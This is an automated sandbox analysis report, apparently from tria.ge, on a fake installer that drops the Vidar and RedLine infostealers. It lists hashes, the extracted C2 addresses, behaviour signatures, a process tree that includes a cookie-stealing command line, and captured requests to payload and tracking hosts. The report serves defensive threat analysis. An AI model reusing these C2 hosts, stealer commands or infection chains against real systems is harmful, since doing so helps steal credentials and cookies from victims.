Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

11/07/2024, 05:43 UTC

240711-gej4lstgrf 10

06/09/2021, 14:13 UTC

210906-rjpvrsedbm 10

08/07/2021, 11:08 UTC

210708-4gztl3mwl6 10

08/07/2021, 08:02 UTC

210708-klfb4qeda6 10

07/07/2021, 09:39 UTC

210707-nem57xyvf2 10

06/07/2021, 17:51 UTC

210706-7pcrmjy3fa 10

06/07/2021, 13:45 UTC

210706-eybelwcq86 10

Analysis

  • max time kernel
    1534s
  • max time network
    1575s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    06/09/2021, 14:13 UTC

General

  • Target

    setup_x86_x64_install - копия (15).exe

  • Size

    3.2MB

  • MD5

    3ae1c212119919e5fce71247286f8e0e

  • SHA1

    97c1890ab73c539056f95eafede319df774e9d38

  • SHA256

    30c2f230e5401b4b1ea8fb425dadf4e453575884303b9fa2066e6a91859f016e

  • SHA512

    5bb28a775c10b8b68b8c448d64287ca732d0af5577ecc4348a89934358440bb4ff6958115f14ecbabb0446d234d6f621afa3419daa4aec6c03c0af9b6a3b1558

Malware Config

Extracted

Family

vidar

Version

39.4

Botnet

706

C2

https://sergeevih43.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

redline

Botnet

ServAni

C2

87.251.71.195:82

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 14 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 60 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 20 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:468
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:872
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:1824
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:2004
    • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (15).exe
      "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (15).exe"
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1808
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1328
        • C:\Users\Admin\AppData\Local\Temp\7zS03567F15\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS03567F15\setup_install.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1204
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c arnatic_1.exe
            4⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:856
            • C:\Users\Admin\AppData\Local\Temp\7zS03567F15\arnatic_1.exe
              arnatic_1.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1460
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 948
                6⤵
                • Loads dropped DLL
                • Program crash
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of AdjustPrivilegeToken
                PID:1476
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c arnatic_2.exe
            4⤵
              PID:1728
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c arnatic_3.exe
              4⤵
              • Loads dropped DLL
              PID:920
              • C:\Users\Admin\AppData\Local\Temp\7zS03567F15\arnatic_3.exe
                arnatic_3.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1292
                • C:\Windows\SysWOW64\rUNdlL32.eXe
                  "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub
                  6⤵
                  • Loads dropped DLL
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:764
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c arnatic_4.exe
              4⤵
              • Loads dropped DLL
              PID:1632
              • C:\Users\Admin\AppData\Local\Temp\7zS03567F15\arnatic_4.exe
                arnatic_4.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies system certificate store
                PID:512
                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:812
                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  PID:268
                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1668
                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1296
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c arnatic_5.exe
              4⤵
              • Loads dropped DLL
              PID:1644
              • C:\Users\Admin\AppData\Local\Temp\7zS03567F15\arnatic_5.exe
                arnatic_5.exe
                5⤵
                • Executes dropped EXE
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:1288
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c arnatic_6.exe
              4⤵
              • Loads dropped DLL
              PID:968
              • C:\Users\Admin\AppData\Local\Temp\7zS03567F15\arnatic_6.exe
                arnatic_6.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies system certificate store
                PID:1764
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c arnatic_7.exe
              4⤵
              • Loads dropped DLL
              PID:300
              • C:\Users\Admin\AppData\Local\Temp\7zS03567F15\arnatic_7.exe
                arnatic_7.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                PID:900
                • C:\Users\Admin\AppData\Local\Temp\7zS03567F15\arnatic_7.exe
                  C:\Users\Admin\AppData\Local\Temp\7zS03567F15\arnatic_7.exe
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1736

      Network

      • flag-us
        DNS
        motiwa.xyz
        setup_install.exe
        Remote address:
        8.8.8.8:53
        Request
        motiwa.xyz
        IN A
        Response
        motiwa.xyz
        IN A
        104.21.12.59
        motiwa.xyz
        IN A
        172.67.193.180
      • flag-us
        GET
        http://motiwa.xyz/addInstall.php?key=125478824515ADNxu2ccbwe&ip=&oid=4&oname[]=25June325AM&oname[]=7&oname[]=1&oname[]=2&oname[]=3&oname[]=4&oname[]=5&oname[]=6&cnt=7
        setup_install.exe
        Remote address:
        104.21.12.59:80
        Request
        GET /addInstall.php?key=125478824515ADNxu2ccbwe&ip=&oid=4&oname[]=25June325AM&oname[]=7&oname[]=1&oname[]=2&oname[]=3&oname[]=4&oname[]=5&oname[]=6&cnt=7 HTTP/1.1
        Host: motiwa.xyz
        Accept: */*
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:15:46 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        X-Frame-Options: SAMEORIGIN
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=u9MOpIXMpufe0eDKDIHGqB38RdtuTvkTZO6P3zMzSmaK3gdRXcAViyrqK8TYpzoQ3jA8jgdE9oz82XS2oDI%2F1Tc4%2FlrBmhKC7bDqp%2FvTy0qIwjENDw8c68pitqhJ"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a84fb0cffa4be3-AMS
      • flag-nl
        GET
        http://136.144.41.133/server.txt
        arnatic_6.exe
        Remote address:
        136.144.41.133:80
        Request
        GET /server.txt HTTP/1.1
        Connection: Keep-Alive
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
        Host: 136.144.41.133
        Response
        HTTP/1.1 404 Not Found
        Date: Mon, 06 Sep 2021 14:15:46 GMT
        Server: Apache/2.4.41 (Ubuntu)
        Content-Length: 276
        Keep-Alive: timeout=5, max=100
        Connection: Keep-Alive
        Content-Type: text/html; charset=iso-8859-1
      • flag-us
        DNS
        email.yg9.me
        SystemNetworkService
        Remote address:
        8.8.8.8:53
        Request
        email.yg9.me
        IN A
        Response
        email.yg9.me
        IN A
        198.13.62.186
      • flag-us
        DNS
        email.yg9.me
        SystemNetworkService
        Remote address:
        8.8.8.8:53
        Request
        email.yg9.me
        IN AAAA
        Response
      • flag-us
        DNS
        videoconvert-download38.xyz
        arnatic_5.exe
        Remote address:
        8.8.8.8:53
        Request
        videoconvert-download38.xyz
        IN A
        Response
        videoconvert-download38.xyz
        IN A
        172.67.201.250
        videoconvert-download38.xyz
        IN A
        104.21.42.63
      • flag-us
        GET
        https://videoconvert-download38.xyz/?user=newpb1_1
        arnatic_5.exe
        Remote address:
        172.67.201.250:443
        Request
        GET /?user=newpb1_1 HTTP/1.1
        Host: videoconvert-download38.xyz
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:15:57 GMT
        Content-Type: text/html
        Transfer-Encoding: chunked
        Connection: keep-alive
        last-modified: Mon, 19 Jul 2021 09:04:34 GMT
        accept-ranges: bytes
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Kmc2Fj%2FyE5JvcNlOdYz3inmvNPACeUQBR2qTC%2B5QnUXLvRlXUcBBswjdc2LC3k3VPNysqbTe%2BFG8HLJrQkouWx9N7wgZQTYqXnHQZ0jfgmKXIoWDJzhnE0%2B9rQsHC8GB0Z9Z%2Fi%2BlkJXEGLdUiZ4%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a84ff63f434be2-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        GET
        https://videoconvert-download38.xyz/?user=newpb1_2
        arnatic_5.exe
        Remote address:
        172.67.201.250:443
        Request
        GET /?user=newpb1_2 HTTP/1.1
        Host: videoconvert-download38.xyz
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:15:57 GMT
        Content-Type: text/html
        Transfer-Encoding: chunked
        Connection: keep-alive
        last-modified: Mon, 19 Jul 2021 09:04:34 GMT
        accept-ranges: bytes
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q%2BZ58f6amt0OoYNlkPhIW4IEevSOZ5RfErWQ%2FXfjGouQlld3Dndd0pLdC4RH2VkLLDUa6Srocch9Dzizmx23KAIR1%2FMq5Qav1Otz5kZQ7semB%2BrQf65T4vsG5U6T5xjssxzLLQFp2zI3VOrCAnU%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a84ff67f844be2-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        GET
        https://videoconvert-download38.xyz/?user=newpb1_3
        arnatic_5.exe
        Remote address:
        172.67.201.250:443
        Request
        GET /?user=newpb1_3 HTTP/1.1
        Host: videoconvert-download38.xyz
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:15:57 GMT
        Content-Type: text/html
        Transfer-Encoding: chunked
        Connection: keep-alive
        last-modified: Mon, 19 Jul 2021 09:04:34 GMT
        accept-ranges: bytes
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4fty0adlQ2CF8xXV5pl84iLjEA3ND0pptErDVcnQVNR%2FY%2FdESj8aB5AoSJJI64eh9pfJlrM4SD3%2FsEqh7gSa9FelevaSDqcGOQ0V4NU3wR%2FZ6XcenJnJ4uEFuJ4HimlBj9B3mxTfmHsZUgOIhCA%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a84ff68f904be2-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        GET
        https://videoconvert-download38.xyz/?user=newpb1_4
        arnatic_5.exe
        Remote address:
        172.67.201.250:443
        Request
        GET /?user=newpb1_4 HTTP/1.1
        Host: videoconvert-download38.xyz
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:15:57 GMT
        Content-Type: text/html
        Transfer-Encoding: chunked
        Connection: keep-alive
        last-modified: Mon, 19 Jul 2021 09:04:34 GMT
        accept-ranges: bytes
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ermdGH5X%2FpMSfjMgjbMxLbDE94nPwxS%2F9Etj%2B4wca62PGFzHZ2wO44Wn9jkb7iA5yZGicCyX1Rj8ml10Mu58bdWNi2LDtRWZjTqLo%2FuYTp52U%2FidMpRem9pbVB7BSy7oaAwo2hnescN2VoiPzfM%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a84ff69fa54be2-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        GET
        https://videoconvert-download38.xyz/?user=newpb1_5
        arnatic_5.exe
        Remote address:
        172.67.201.250:443
        Request
        GET /?user=newpb1_5 HTTP/1.1
        Host: videoconvert-download38.xyz
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:15:57 GMT
        Content-Type: text/html
        Transfer-Encoding: chunked
        Connection: keep-alive
        last-modified: Mon, 19 Jul 2021 09:04:34 GMT
        accept-ranges: bytes
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X9NL9mKZsUuVU3ljAJWhqY3HEQzgKVPYUjjCqfyPSlW6r9jHU9ezpUX7JKtiQxeO%2FL1QrJDqCvj%2FAOVeifCuNWRRluUgADBOHO03No3PwY0YvzDq47NgjT4THSzkwy0DvSXKYAFsLBhtdGtqmB4%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a84ff6bfbe4be2-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        GET
        https://videoconvert-download38.xyz/?user=newpb1_6
        arnatic_5.exe
        Remote address:
        172.67.201.250:443
        Request
        GET /?user=newpb1_6 HTTP/1.1
        Host: videoconvert-download38.xyz
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:15:57 GMT
        Content-Type: text/html
        Transfer-Encoding: chunked
        Connection: keep-alive
        last-modified: Mon, 19 Jul 2021 09:04:34 GMT
        accept-ranges: bytes
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iZ96aRzl0POhDsWDj8owAgfh8rjL4AvCWY%2BJrhhdS%2BNZnh4ES6j4ifOuX7096jy%2FsPTCphq8rbzEpqxgGdIfhSBhRcqwvIefwLoqQEpcBk6edA8NaiVF4j7PQYXl%2BWtunexd%2BJDczbYQfAY0kos%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a84ff6cfd24be2-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        DNS
        iplogger.org
        arnatic_5.exe
        Remote address:
        8.8.8.8:53
        Request
        iplogger.org
        IN A
        Response
        iplogger.org
        IN A
        88.99.66.31
      • flag-de
        GET
        https://iplogger.org/1SPHi7
        arnatic_5.exe
        Remote address:
        88.99.66.31:443
        Request
        GET /1SPHi7 HTTP/1.1
        User-Agent: Th624
        Host: iplogger.org
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Mon, 06 Sep 2021 14:15:58 GMT
        Content-Type: image/png
        Transfer-Encoding: chunked
        Connection: keep-alive
        Set-Cookie: PHPSESSID=diadgdm1akbbu794mpei334353; path=/; HttpOnly
        Pragma: no-cache
        Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=248110433; path=/
        Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
        Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
        Cache-Control: no-cache
        Expires: Thu, 01 Jan 1970 00:00:01 GMT
        Answers:
        whoami: 6568058826a877dd3c11215b771e168be0e6da3fe54f0b12994445f10dbdd1fd
        Strict-Transport-Security: max-age=31536000; preload
        X-Frame-Options: DENY
      • flag-de
        GET
        https://iplogger.org/1vpFz7
        arnatic_5.exe
        Remote address:
        88.99.66.31:443
        Request
        GET /1vpFz7 HTTP/1.1
        Host: iplogger.org
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Mon, 06 Sep 2021 14:15:58 GMT
        Content-Type: image/png
        Transfer-Encoding: chunked
        Connection: keep-alive
        Set-Cookie: PHPSESSID=n5stb7lo1i4qaiqf8iuj8leso1; path=/; HttpOnly
        Pragma: no-cache
        Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=248110433; path=/
        Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
        Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
        Cache-Control: no-cache
        Expires: Thu, 01 Jan 1970 00:00:01 GMT
        Answers:
        whoami: acce61361a3dee677653fa2909f29530202335835c71031ba4dff50682ae5de8
        Strict-Transport-Security: max-age=31536000; preload
        X-Frame-Options: DENY
      • flag-us
        DNS
        ip-api.com
        SystemNetworkService
        Remote address:
        8.8.8.8:53
        Request
        ip-api.com
        IN A
        Response
        ip-api.com
        IN A
        208.95.112.1
      • flag-us
        GET
        http://ip-api.com/json/
        arnatic_4.exe
        Remote address:
        208.95.112.1:80
        Request
        GET /json/ HTTP/1.1
        Connection: Keep-Alive
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        viewport-width: 1920
        Host: ip-api.com
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:00 GMT
        Content-Type: application/json; charset=utf-8
        Content-Length: 323
        Access-Control-Allow-Origin: *
        X-Ttl: 18
        X-Rl: 7
      • flag-us
        DNS
        sergeevih43.tumblr.com
        arnatic_1.exe
        Remote address:
        8.8.8.8:53
        Request
        sergeevih43.tumblr.com
        IN A
        Response
        sergeevih43.tumblr.com
        IN A
        74.114.154.18
        sergeevih43.tumblr.com
        IN A
        74.114.154.22
      • flag-us
        GET
        https://sergeevih43.tumblr.com/
        arnatic_1.exe
        Remote address:
        74.114.154.18:443
        Request
        GET / HTTP/1.1
        Host: sergeevih43.tumblr.com
        Response
        HTTP/1.1 404 Not Found
        Server: openresty
        Date: Mon, 06 Sep 2021 14:16:02 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        Vary: Accept-Encoding
        X-Rid: c51cc7b079dca3951733bac3a7330230
        P3p: CP="Tumblr's privacy policy is available here: https://www.tumblr.com/policy/en/privacy"
        X-Frame-Options: deny
        X-Xss-Protection: 1; mode=block
        X-Content-Type-Options: nosniff
        Set-Cookie: pfg=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=.tumblr.com; secure; HttpOnly
        X-UA-Device: desktop
        Vary: X-UA-Device, Accept, Accept-Encoding
      • flag-us
        DNS
        www.facebook.com
        arnatic_4.exe
        Remote address:
        8.8.8.8:53
        Request
        www.facebook.com
        IN A
        Response
        www.facebook.com
        IN CNAME
        star-mini.c10r.facebook.com
        star-mini.c10r.facebook.com
        IN A
        31.13.64.35
      • flag-nl
        GET
        https://www.facebook.com/
        arnatic_4.exe
        Remote address:
        31.13.64.35:443
        Request
        GET / HTTP/1.1
        Connection: Keep-Alive
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        viewport-width: 1920
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: none
        Sec-Fetch-User: ?1
        Upgrade-Insecure-Requests: 1
        Host: www.facebook.com
        Response
        HTTP/1.1 200 OK
        Vary: Accept-Encoding
        x-fb-rlafr: 0
        Pragma: no-cache
        Cache-Control: private, no-cache, no-store, must-revalidate
        Expires: Sat, 01 Jan 2000 00:00:00 GMT
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 0
        content-security-policy-report-only: default-src 'self' data: blob: https://*.fbsbx.com 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net;script-src static.xx.fbcdn.net 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net data:;connect-src wss://gateway.facebook.com wss://edge-chat.facebook.com *.facebook.com *.fbcdn.net wss://snaptu-d.facebook.com wss://kaios-d-test.facebook.com/ wss://kaios-d.facebook.com/ *.fbsbx.com;font-src data: *.facebook.com *.fbcdn.net;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster:;frame-src *.facebook.com *.fbsbx.com;worker-src blob:;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
        content-security-policy: default-src facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com data: blob: 'self';script-src *.facebook.com *.fbcdn.net 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com;connect-src *.facebook.com facebook.com *.fbcdn.net wss://*.facebook.com:* attachment.fbsbx.com blob: *.cdninstagram.com 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
        X-Frame-Options: DENY
        Strict-Transport-Security: max-age=15552000; preload
        Content-Type: text/html; charset="utf-8"
        X-FB-Debug: EDbEhXqREczagZL31Kc3u8IjlW4NipxYToif8ks0VIkIKaSGJYqgySjLzPDwzPnO/beaf+SE9+vWsarvyf+HLg==
        Date: Mon, 06 Sep 2021 14:16:03 GMT
        Priority: u=3,i
        Transfer-Encoding: chunked
        Alt-Svc: h3-29=":443"; ma=3600,h3-27=":443"; ma=3600
        Connection: keep-alive
      • flag-nl
        GET
        https://www.facebook.com/
        arnatic_4.exe
        Remote address:
        31.13.64.35:443
        Request
        GET / HTTP/1.1
        Connection: Keep-Alive
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        viewport-width: 1920
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: none
        Sec-Fetch-User: ?1
        Upgrade-Insecure-Requests: 1
        Host: www.facebook.com
        Response
        HTTP/1.1 200 OK
        Vary: Accept-Encoding
        x-fb-rlafr: 0
        Pragma: no-cache
        Cache-Control: private, no-cache, no-store, must-revalidate
        Expires: Sat, 01 Jan 2000 00:00:00 GMT
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 0
        content-security-policy-report-only: default-src 'self' data: blob: https://*.fbsbx.com 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net;script-src static.xx.fbcdn.net 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net data:;connect-src wss://gateway.facebook.com wss://edge-chat.facebook.com *.facebook.com *.fbcdn.net wss://snaptu-d.facebook.com wss://kaios-d-test.facebook.com/ wss://kaios-d.facebook.com/ *.fbsbx.com;font-src data: *.facebook.com *.fbcdn.net;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster:;frame-src *.facebook.com *.fbsbx.com;worker-src blob:;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
